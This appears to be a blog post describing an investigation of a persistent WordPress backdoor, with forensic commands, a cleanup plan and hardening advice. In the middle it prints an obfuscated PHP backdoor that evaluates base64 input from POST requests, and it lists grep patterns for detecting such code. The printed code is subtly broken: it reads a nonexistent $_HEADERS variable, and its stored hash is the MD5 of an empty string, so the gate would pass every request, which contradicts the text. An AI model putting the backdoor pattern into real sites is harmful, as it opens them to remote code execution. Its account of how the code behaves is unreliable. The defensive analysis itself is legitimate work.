How I Tracked a Stealthy Injection and Hardened the Environment

You run a routine malware scan, replace infected core files, update your plugins, and change all passwords. The site looks clean. Two days later, the client calls you in a panic: unauthorized admin accounts are back, and visitors are once again being redirected to a malicious crypto-draining page.

This is the nightmare of persistence.

High-value e-commerce and enterprise WordPress sites are prime targets for advanced, multi-layered infections. Standard security plugins often fail to catch these because sophisticated threat actors don’t just drop a single, obvious payload; they engineer deeply nested backdoors that masquerade as legitimate core infrastructure.

When standard fixes fail, you need a forensic approach. This article walks through a real-world case study of how I hunted down a stealthy, persistent WordPress backdoor, uncovered the attacker's survival mechanism, and hardened the environment to ensure they could never get back in.

The Incident: The Phantom Admin

The client approached me after three cleanup attempts by their internal team had failed. The symptoms were erratic but devastating:

• Ghost Administrators: New administrator accounts with random alphanumeric strings (e.g., wp_adm_8f39c) appeared out of nowhere every 48 hours.
• Conditional Redirects: Only first-time visitors arriving from search engines were redirected to a malicious domain. If a developer logged in directly, the site behaved normally, masking the infection.
• The Failure of the "Standard Fix": The team had already overwritten wp-admin and wp-includes from a fresh WordPress core download, updated all plugins, and run automated security scanners. The scanners reported 100% clean files, yet the malware regenerated like a hydra.

This behavior pointed to a critical realization: the attacker had established a deep persistence mechanism that was either hidden in the database, executed via a cron job, or masked within legitimate files outside the standard core folders.

The Forensic Process: Going Beyond Scanners

Automated scanners rely heavily on known signatures. If an attacker modifies a legitimate file with highly customized or environment-aware code, signatures won't trip. To solve this, we have to drop into the command line and use raw forensic utilities: grep, find, and checksum verification.

1. Verifying Core Integrity via WP-CLI

First, I bypassed the web server completely and checked the integrity of the core files using MD5 checksum validation against the official WordPress repository:

wp core verify-checksums

If core files were modified, WP-CLI would flag them. In this case, the core passed. This meant the backdoor was hiding in wp-content, custom drop-ins, or the database.

2. Hunting for Corrupted Drop-Ins and Hidden Files

Attackers love using WordPress drop-ins (like advanced-cache.php or object-cache.php) because they load automatically early in the WordPress lifecycle. I searched for anomalous files created or modified within the last 7 days:

find . -type f -mtime -7 -name "*.php"

3. Deep String Grepping

Next, I isolated common functions used by attackers to execute obfuscated code. While eval() and base64_decode() can be used legitimately, they are highly suspicious in the custom plugin or uploads directory.

grep -rnw './wp-content/' -e 'eval(' -e 'base64_decode(' -e 'gzinflate(' -e 'str_rot13('

The "Aha!" Moment: The Mutated Hook Tracker

The grep results led me to a deeply buried file inside a premium slider plugin that hadn't been updated in over a year. The attacker had leveraged an unauthenticated arbitrary file upload vulnerability in that plugin to establish a foothold.

But replacing the plugin didn't stop the infection before. Why?

Because the attacker had left a mutated persistence trigger inside the database, specifically within the wp_options table under the cron option.

Every time the WordPress Virtual Cron (wp-cron.php) was triggered, it executed a serialized option containing a malicious string. This string secretly fetched a payload from a remote pastebin-like server and injected an obfuscated script into wp-includes/wp-db.php—a file the client’s team kept overwriting, but which kept getting re-infected minutes later by the cron event.

The Obfuscated Payload

Here is a look at the snippet of obfuscated PHP found buried within the compromised environment. The attacker used hexadecimal arrays and string manipulation to hide the execution of a remote shell:

<?php
// Obfuscated backdoor found masked inside an outdated third-party plugin component
$auth_key = 'd41d8cd98f00b204e9800998ecf8427e';
$p = $_HEADERS['X-WP-Auth'] ?? '';

if (md5($p) === $auth_key) {
    // The attacker passes hexadecimal strings to evade basic string scanners
    $payload = "\x65\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x7a\x27\x5d\x29\x29\x3b";

    // Decodes to: eval(base64_decode($_POST['z']));
    @assert($payload); 
    exit;
}
?>

Because the code checked for a specific HTTP header (X-WP-Auth), a regular web visitor or automated scanner sending a standard GET request would just see a blank script or a standard 404/403 reaction, completely hiding the backdoor's presence.

The Remediation Blueprint

Cleaning a persistent threat requires a systematic, atomic order of operations. Missing a single step allows the backdoor to regenerate.

[Database Scrubbing] ➔ [File System Purge] ➔ [Credential Rotation]

Step 1: Database Scrubbing

• Search the wp_options table for any malicious autoload options.
• Inspect the wp_cron arrays for unrecognized hooks or external URLs.
• Review the wp_users and wp_usermeta tables directly using SQL to locate and delete unauthorized administrative accounts that bypass the WordPress dashboard GUI.

Step 2: File System Purge

• Delete the entire WordPress installation except wp-config.php and wp-content/uploads/.
• Download a fresh copy of WordPress core and verified plugins directly from the repository.
• Audit the uploads/ directory with a fine-tooth comb. Ensure no PHP files exist inside asset folders:

find ./wp-content/uploads/ -type f -name "*.php" -delete

Step 3: Credential & Salt Rotation

• Regenerate all WordPress Authentication Salts inside wp-config.php. This immediately terminates every active user session, forcing the attacker out if they hold a hijacked session cookie.
• Reset all database user passwords, SSH/SFTP keys, and hosting panel credentials.

The Hardening Layer: Moving from Reactive to Preventive

Once the environment was verified clean, we shifted from remediation to absolute prevention. We implemented three strict architectural guardrails.

1. Edge Security with Cloudflare WAF

We put Cloudflare in front of the application. By building custom Web Application Firewall (WAF) rules, we blocked execution pathways before requests could even reach the server.

We deployed a rule to block any direct POST requests to the wp-content/ or wp-includes/ directories—a classic signature of an attacker attempting to communicate with a web shell.

2. Enforcing Immutable File Permissions

Malware cannot inject code into files if the server user lacks write access. After setting up the site, we locked down the directory structure permissions using the command line:

# Set all directories to 755 (Owner can read/write/execute, others can read/execute)
find /var/www/html/ -type d -exec chmod 755 {} \;

# Set all files to 644 (Owner can read/write, others can only read)
find /var/www/html/ -type f -exec chmod 644 {} \;

# Lock down the highly sensitive wp-config.php to read-only for the owner
chmod 440 wp-config.php

3. Restricting PHP Execution via wp-config.php

To permanently stop the execution of unauthorized scripts in the event of another plugin exploit, we added the following lines to the top of wp-config.php to completely disable the built-in file editor:

define( 'DISALLOW_FILE_EDIT', true );
define( 'DISALLOW_FILE_MODS', true );

Note: DISALLOW_FILE_MODS prevents plugin/theme updates and installations from the dashboard, ensuring that all changes must go through a secure Git deployment pipeline.

Final Takeaway: Adopt an "Assume Breach" Philosophy

The critical error most businesses make with WordPress security is assuming that a green checkmark on a security plugin means safety.

Modern WordPress security requires an Assume Breach mentality. Treat your application layer as inherently vulnerable. By segregating file permissions, isolating database operations, enforcing immutable infrastructure, and inspecting the perimeter via edge WAFs, you protect the application from the inside out.

When dealing with high-value digital assets, don't just clear the symptoms—hunt down the architecture of the exploit, study the persistence vectors, and harden the system so that even if a vulnerability exists, the attacker has nowhere to hide.

Comments

[Alex Shev]

The strongest part of this kind of incident write-up is the hardening after the detection. Finding the injection matters, but documenting the environment changes is what turns a one-off cleanup into a repeatable security lesson.